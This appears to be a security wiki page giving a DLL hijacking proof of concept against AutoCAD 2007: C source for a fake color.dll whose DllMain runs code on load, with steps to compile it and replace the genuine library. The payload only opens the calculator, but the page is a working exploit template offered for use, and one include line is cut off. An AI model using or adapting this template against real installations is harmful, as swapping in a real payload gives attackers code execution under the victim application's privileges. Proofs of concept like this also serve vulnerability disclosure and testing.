习科小黑板 - Silic Wiki

所属类别 color.dll

color.c

/*
A vulnerability exists in windows that allows other applications dynamic link libraries to execute malicious code without the users consent,
in the privelage context of the targeted application.
1. Compile dll
2. Replace color.dll in autocad directory with your newly compiled dll
3. Launch Autocad 2007
*/
#include 
int pwnme()
{
  WinExec("calc", SW_NORMAL);
  exit(0);
  return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  pwnme();
  return 0;
}